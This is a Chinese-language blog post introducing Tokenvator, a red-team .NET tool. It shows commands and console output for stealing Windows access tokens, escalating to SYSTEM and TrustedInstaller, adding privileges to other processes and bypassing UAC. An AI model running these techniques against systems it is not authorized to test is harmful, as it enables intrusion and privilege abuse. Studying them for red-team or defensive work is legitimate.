导语:本文将为读者介绍如何利用Tokenvator实现权限提升。
WheresMyImplant是我去年利用.NET开发的一个小型红队工具箱。在这个工具包开发和使用的过程中,我发现,总是需要不断改变自己进程的访问令牌,例如需要执行SYSTEM权限的操作,或为进程添加调试权限的时候,等等。鉴于此,我专门创建了Tokenvator程序,这是一款利用.NET编写的简单工具,可用于在Windows上提升权限。它通过模拟或修改正在执行的进程中具有适当权限级别的身份验证令牌来工作。
Tokenvator可以从https://github.com/0xbadjuju/Tokenvator下载,编译说明可以在页面底部找到。
基本用法
Tokenvator可以在交互模式和参数模式下运行。在交互模式下,基本命令可以通过tab键自动补全,如果按两次tab键,就会根据上下文提供特定的帮助信息。
C:\Users\badjuju>Tokenvator.exe (Tokens) > help Name Optional Required ---- -------- -------- GetSystem Command - GetTrustedInstaller Command - Steal_Token Command ProcessID BypassUAC ProcessID Command List_Privileges ProcessID - Set_Privilege ProcessID Privilege List_Processes - - List_Processes_WMI - - Find_User_Processes - User Find_User_Processes_WMI - User List_User_Sessions - - WhoAmI - - RevertToSelf - - Run - Command (Tokens) > WhoAmI Name Optional Required ---- -------- -------- WhoAmI - - (Tokens) > WhoAmI [*] Operating as LAB\badjuju
虽然大多示例都是在交互模式下运行的,但实际上,所有命令都可以在参数模式下运行。
Steal_Token
Tokenvator最基本的用法是访问和操作Windows身份验证令牌。为了窃取另一个进程的令牌,我们可以运行Steal_Token命令,同时指定目标进程的PID。
(Tokens) > Steal_Token Name Optional Required ---- -------- -------- Steal_Token Command ProcessID (Tokens) > Steal_Token 7384 [*] Adjusting Token Privilege [+] Received luid [*] AdjustTokenPrivilege [+] Adjusted Token to: SeDebugPrivilege [*] Impersonating 7384 [+] Recieved Handle for: (7384) [+] Process Handle: 824 [+] Primary Token Handle: 828 [+] Duplicate Token Handle: 824 (Tokens) > whoami [*] Operating as lab\backup
我们还可以添加一个要运行的命令,该命令将使用新的访问令牌启动。
(Tokens) > Steal_Token 7384 powershell.exe [*] Adjusting Token Privilege [+] Received luid [*] AdjustTokenPrivilege [+] Adjusted Token to: SeDebugPrivilege [+] Recieved Handle for: (7384) [+] Process Handle: 860 [+] Primary Token Handle: 864 [+] Duplicate Token Handle: 860 [*] CreateProcessWithTokenW [+] Created process: 14524 [+] Created thread: 18784
Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved. PS C:\WINDOWS\system32> whoami lab\backup PS C:\WINDOWS\system32> $pid 14524
GetSystem
在窃取令牌的时候,最常见的目标就是NT AUTHORITY\SYSTEM帐户。GetSystem命令是Steal_Token命令的包装器,用于自动查找和访问SYSTEM令牌。该命令的用法与Steal_Token相同。注意:这个命令有时候需要从提权后的上下文中运行。
(Tokens) > GetSystem [*] Adjusting Token Privilege [+] Received luid [*] AdjustTokenPrivilege [+] Adjusted Token to: SeDebugPrivilege [*] Searching for NT AUTHORITY\SYSTEM [*] Examining 344 processes [*] Discovered 118 processes [*] Impersonating 5488 [+] Recieved Handle for: (5488) [+] Process Handle: 888 [*] Impersonating 4444 [+] Recieved Handle for: (4444) [+] Process Handle: 868 [+] Primary Token Handle: 904 [+] Duplicate Token Handle: 868 (Tokens) > WhoAmI [*] Operating as NT AUTHORITY\SYSTEM (Tokens) > RevertToSelf [*] Reverted token to lab\badjuju
我发现,除非首先将权限提升到到SYSTEM,否则无法访问某些进程的令牌。例如,访问NT SERVICE帐户下的本地SQL服务进程就是这种情况。如果本地SYSTEM帐户在数据库上没有SYSADMIN权限,则必须先进行相应的提权。Scott Sutherland在这篇博客中对这一点进行了详细的阐述。
GetTrustedInstaller
SYSTEM32文件夹中的文件或某些注册表通常隶属于TRUSTEDINSTALLER组。要想操作这些位置的内容,我们要么拥有相应的所有权,要么设法获取TRUSTEDINSTALLER组成员的访问令牌。与GetSystem类似,GetTrustedInstaller也是一个Steal_Token的封装函数,用于启动TrustedInstaller服务并窃取其令牌。
List_Privileges和Set_Privilege
有时,我们的进程并不具备完成某些任务所需的特定访问权限。例如,要访问不隶属于当前用户的进程,则需要SeDebugPrivilege权限。下面显示的是高完整性进程中的拆分令牌的权限(UAC Elevated – TokenElevationTypeFull)
在这里,我们可以看到在中等完整性进程中分配给拆分令牌的默认特权(UAC Not Elevated – TokenElevationTypeLimited)
对于这个功能,不仅可以观察自己的进程。下面,让我们来看看当以管理员身份运行时,看到的notepad.exe的令牌是啥情况。注意:为了访问不属于当前用户的进程,必须为当前进程启用SeDebugPrivilege权限。
实际上,我们不仅可以考察notepad.exe的令牌,甚至可以远程更改它的权限。现在,让我们将SeLoadDriverPrivilege添加到该令牌上,并查看会发生什么情况。注意:特权名称是区分大小写的。
现在,notepad.exe已经可以加载驱动程序,这种功能在许多场景下都是非常有用的。在将来,我们还会添加删除权限的功能。
BypassUAC
当前,UAC绕过的方法可谓五花八门,其中比较有趣的一种方法是通过操纵令牌实现的。在使用Windows令牌绕过UAC方面,FuzzySecurity做了一些非常有趣的工作。实际上,Tokenvator采用的UAC绕过的方法的思路,就来自于他。下面,我们的非特权令牌可以用来访问一个隶属于当前用户的、经过提权的进程,并创建一个提权后的shell。
虽然这种方法在将来一段时间内可能长期有效,但它也有自身的局限性。从下面可以看出,虽然进程具有高度完整性,但分配给令牌的权限仍然非常有限。
查找用户进程
在系统上查找用户的方法有很多。比如,我们可以查看系统上注册的会话。
(Tokens) > List_User_Sessions User SessionID ---- --------- 0 badjuju 1 backup 2
我一直想要的一个特性,是能够对用户进程进行汇总,从而了解当前有哪些用户以及他们拥有哪些进程,这正是list_process命令的设计初衷。
(Tokens) > List_Processes User Process ID Process Name ---- ---------- ------------ lab\badjuju 4000 conhost
List_Processes能够利用主机上的本地API快速汇总系统中的进程及其所有者。到目前为止,除非从较高权限的上下文中运行,否则无法正常工作。因此,该程序引入了List_Processes_WMI。从名字就能猜出,它是通过WMI进行操作的。虽然没有List_Processes那么快,但List_Processes_WMI可以从特权的上下文中提供更全面的信息。
(Tokens) > List_Processes_WMI [*] Examining 102 processes User Process ID Process Name ---- ---------- ------------ \ 0 Idle LAB\BADJUJU 448 taskhost LOCAL\0XBADJUJU 1568 cmd
此外,我们可以轮询系统以查找在特定用户的上下文中运行的全部进程。注意:需要提供完整的用户名。
(Tokens) > Find_User_Processes WINDOWS7ENTERPR\BADJUJU [*] Examining 100 processes [*] Discovered 29 processes Process ID Process Name ---------- ------------ 3268 calc 3520 cmd 2604 cmd 4000 conhost 4664 conhost 920 conhost 1972 conhost 4928 conhost 2760 conhost 656 dwm 1776 explorer 5048 msvsmon 5352 msvsmon 3412 notepad 3552 powershell 3116 powershell_ise 2464 rdpclip 4820 rundotnetdll32 3944 taskhost 448 taskhost 3424 Tokenvator 4892 VCSExpress
List_Processes_WMI的运行机制与List_Processes类似,只不过是通过WMI完成而已。同时,它也不要求在具有特权的上下文中工作。
(Tokens) > Find_User_Processes_WMI LOCAL\0xBADJUJU [*] Examining 102 processes [*] Discovered 31 processes Process ID Process Name ---------- ------------ 1568 cmd.exe 2108 conhost.exe 1936 procexp64.exe 3544 cmd.exe 3608 conhost.exe 3892 x64dbg.exe
虽然这个程序的设计初衷,只是供自己和我们的团队使用,但是,我仍然希望它能够对其他人带来帮助。如果您在使用过程中发现了任何错误或者希望添加某些特性的话,欢迎通知我们,我们将感激不尽。